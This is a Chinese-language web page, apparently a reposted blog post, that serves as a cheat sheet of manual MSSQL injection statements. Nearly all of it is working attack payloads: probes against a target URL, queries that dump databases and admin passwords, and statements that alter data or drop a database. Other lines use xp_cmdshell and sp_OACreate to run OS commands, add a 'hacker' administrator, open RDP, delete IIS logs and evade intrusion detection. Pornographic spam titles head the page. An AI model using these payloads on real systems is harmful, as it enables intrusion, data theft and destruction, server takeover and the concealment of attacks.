亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

手工MSSQL注入常用SQL語句

發布時間:2020-05-29 18:28:54 來源:網絡 閱讀:439 作者:zhpfxl 欄目:數據庫

個人收集整理


and exists (select * from sysobjects) //判斷是否是MSSQL

and exists(select * from tableName) //判斷某表是否存在..tableName為表名

and 1=(select @@VERSION) //MSSQL版本

And 1=(select db_name()) //當前數據庫名

and 1=(select @@servername) //本地服務名

and 1=(select IS_SRVROLEMEMBER('sysadmin')) //判斷是否是系統管理員

and 1=(Select IS_MEMBER('db_owner')) //判斷是否是庫權限

and 1= (Select HAS_DBACCESS('master')) //判斷是否有庫讀取權限

and 1=(select name from master.dbo.sysdatabases where dbid=1) //暴庫名DBID為1,2,3....

;declare @d int //是否支持多行

and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell') //判斷XP_CMDSHELL是否存在

and 1=(select count(*) FROM master.dbo.sysobjects where name= 'xp_regread') //查看XP_regread擴展存儲過程是不是已經被刪除

添加和刪除一個SA權限的用戶test:(需要SA權限)
exec master.dbo.sp_addlogin test,password
exec master.dbo.sp_addsrvrolemember test,sysadmin

停掉或激活某個服務。 (需要SA權限)
exec master..xp_servicecontrol 'stop','schedule'
exec master..xp_servicecontrol 'start','schedule'

暴網站目錄
create table labeng(lala nvarchar(255), id int)

DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots','/',@result output insert into labeng(lala) values(@result);

and 1=(select top 1 lala from labeng) 或者and 1=(select count(*) from labeng where lala>1)
—————————————————————————————————————————————————————分割

DOS下開3389 并修改端口號
sc config termservice start= autco

net start termservice

//允許外連
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0x0 /f 

//該3389端口到80
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 80 /f


SQL Server

判斷是否可注射:

http://www.targer.com/article.asp?id=6

http://www.targer.com/article.asp?id=6'

http://www.targer.com/article.asp?id=6 and 1=1

http://www.targer.com/article.asp?id=6 and 1=2

http://www.targer.com/article.asp?action=value' and 1=1

http://www.targer.com/article.asp?action=value' and 1=2

searchpoints%' and 1=1

searchpoints%' and 1=2

確定數據庫類型:

http://www.targer.com/article.asp?id=6 and user>0

http://www.targer.com/article.asp?id=6 and (select count(*) from sysobjects)>0

查詢當前用戶數據信息:

article.asp?id=6 having 1=1--

暴當前表中的列:

article.asp?id=6 group by admin.username having 1=1--

article.asp?id=6 group by admin.username,admin.password having 1=1--

暴任意表和列:

and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1

and (select top col_name(object_id('admin'),N) from sysobjects)>1

暴數據庫數據:

and (select top 1 password from admin where id=N)>1

修改數據庫中的數據:

;update admin set password='oooooo' where username='xxx'

增添數據庫中的數據:

;insert into admin values (xxx,oooooo)--

刪數據庫:

;drop database webdata

獲取當前數據庫用戶名:and user>0

獲取當前數據庫名:and db_name()>0

獲取數據庫版本:and (select @@version)>0

判斷是否支持多句查詢:;declare @a int--

判斷是否支持子查詢:and (select count(1) from [sysobjects])>=0

數據庫的擴展存儲過程:exec master..xp_cmdshell

查看服務器C盤目錄:;exec_master..xp_cmdshell 'dir c:\'

判斷擴展存儲過程是否存在:and select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'

恢復擴展存儲過程:;exec sp_addextendedproc xp_cmdshell,'xplog70.dll'

刪除擴展存儲過程:;exec sp_dropextendedproc 'xp_cmdshell'

在MSSQL2000中提供了一些函數用于訪問OLE對象間接獲取權限:

;declare @s int

;exec sp_oacreat 'wscript.shell',@s

;exec master..spoamethod @s,'run',null,'cmd.exe/c dir c:\'

判斷當前數據庫用戶名是否擁有比較高的權限:

and 1=(select is_srvrolemember('sysadmin'))

and 1=(select is_srvrolemember('serveradmin'))

and 1=(select is_srvrolemember('setupadmin'))

and 1=(select is_srvrolemember('securityadmin'))

and 1=(select is_srvrolemember('diskadmin'))

and 1=(select is_srvrolemember('bulkadmin'))

判斷當前數據庫用戶名是否為DB_OWNER:

and 1=(select is_member('db_owner'))

在SQLSERVER的master.dbo.sysdatabases表中存放著SQLSERVER數據庫系統中的所有數據庫信息,只需要PUBLIC權限就可以對此表進行SELECT操作:

and (select top 1 name from master.dbo.sysdatabase order by dbid)>0

and (select top 1 name from master.dbo.sysdatabase where name not in(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0

刪除日志記錄:

;exec master.dbo.xp_cmdshell 'del c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

替換日志記錄:

;exec master.dbo.xp_cmdshell 'copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log >c:\temp.txt'

獲取WEB路徑:

;declare @shell int

;exec master..sp_oamethod 'wscript.shell',@shell out

;exec master..sp_oamethod @shell,'run',null,'cmd.exe/c dir /s d:/index.asp >c:/log.txt

利用XP_CMDSHELL搜索:

;exec master..xp_cmdshell 'dir /s d:/index.asp'

顯示服務器網站配置信息命令:

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/1/root

cmd /c cscript.exe c:\inetpub\adminscript\adsutil.vbs enum w3svc/2/root

利用XP_REGREAD可用PUBLIC權限讀取:

;exec master.dbo.xp_regread

hkey_local_machine,

'system\currentcontrolset\services\w3svc\parameters\virtual roots\'

'/'

SQLSERVER下的高級技術可以參考閱讀曾云好所著的精通腳本***第五章。

3、DSqlHelper

檢測權限SYSADMIN:

and 1=(select IS_SRVROLEMEMBER('sysadmin'))

serveradmin、setupadmin、securityadmin、diskadmin、bulkadmin、db_owner。

檢測XP_CMDSHELL(CMD命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_cmdshell')

檢測XP_REGREAD(注冊表讀取功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_regread')

檢測SP_MAKEWEBTASK(備份功能):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_makewebtask')

檢測SP_ADDEXTENDEDPROC:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'sp_addextendedproc')

檢測XP_SUBDIRS讀子目錄:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_subdirs')

檢測XP_DIRTREE讀子目錄:

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'xp_dirtree')

修改內容:

; UPDATE 表名 set 字段=內容 where 1=1

XP_CMDSHELL檢測:

;exec master..xp_cmdshell 'dir c:\'

修復XP_CMDSHELL:

;exec master.dbo.sp_addextendedproc 'xp_cmdshell', 'xplog70.dll'

用XP_CMDSHELL添加用戶hacker:

;exec master.dbo.xp_cmdshell 'net user hacker 123456 /add'

XP_CMDSHELL把用戶hacker加到ADMIN組:

;exec master.dbo.xp_cmdshell 'net localgroup administrators hacker /add'

創建表test:

;create table [dbo].[test] ([dstr][char](255));

檢測表段test:

and exists (select * from test)

讀取WEB的位置(讀注冊表):

;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',@result output insert into test (dstr) values(@result);--

爆出WEB的絕對路徑(顯錯模式):

and 1=(select count(*) from test where dstr > 1)

刪除表test:

;drop table test;--

創建查看目錄的表dirs:

;create table dirs(paths varchar(100), id int)

把查看目錄的內容加入表dirs:

;insert dirs exec master.dbo.xp_dirtree 'c:\'

爆目錄的內容dirs:

and 0<>(select top 1 paths from dirs)

備份數據庫DATANAME:

declare @a sysname; set @a=db_name();backup DATANAME @a to disk='c:\inetpub\wwwroot\down.bak';--

刪除表dirs:

;drop table dirs;--

創建表temp:

;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

把驅動盤列表加入temp表:

;insert temp exec master.dbo.xp_availablemedia;--

刪除表temp:

;delete from temp;--

創建表dirs:

;create table dirs(paths varchar(100), id int);--

獲得子目錄列表XP_SUBDIRS:

;insert dirs exec master.dbo.xp_subdirs 'c:\';--

爆出內容(顯錯模式):

and 0<>(select top 1 paths from dirs)

刪除表dirs:

;delete from dirs;--

創建表dirs:

;create table dirs(paths varchar(100), id int)--

用XP_CMDSHELL查看目錄內容:

;insert dirs exec master..xp_cmdshell 'dir c:\'

刪除表dirs:

;delete from dirs;--

檢測SP_OAcreate(執行命令):

and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE name= 'SP_OAcreate')

SP_OAcreate執行CMD命令:

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user hacker 123456 /add'

SP_OAcreate建目錄:

;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c md c:\inetpub\wwwroot\1111'

創建一個虛擬目錄E盤:

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "默認 Web 站點" -v "e","e:\"'

設置虛擬目錄E為可讀:

;declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL,' cscript.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse'

啟動SERVER服務:

;exec master..xp_servicecontrol 'start', 'server'

繞過IDS檢測XP_CMDSHELL:

;declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'

開啟遠程數據庫1:

; select * from OPENROWSET('SQLOLEDB', 'server=servername;uid=sa;pwd=apachy_123', 'select * from table1' )

開啟遠程數據庫2:

;select * from OPENROWSET('SQLOLEDB', 'uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;', 'select * from table'


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

扶余县| 左权县| 治县。| 宜州市| 贵港市| 栖霞市| 阿合奇县| 罗江县| 综艺| 龙里县| 沙田区| 上虞市| 新野县| 重庆市| 阿拉善盟| 杭州市| 陆河县| 宜良县| 两当县| 乌苏市| 罗江县| 随州市| 涡阳县| 肇州县| 屏东县| 黄石市| 铜山县| 上杭县| 南宫市| 金川县| 沭阳县| 乡城县| 霞浦县| 会东县| 麻阳| 鹰潭市| 聂拉木县| 常宁市| 稻城县| 新竹市| 新乐市|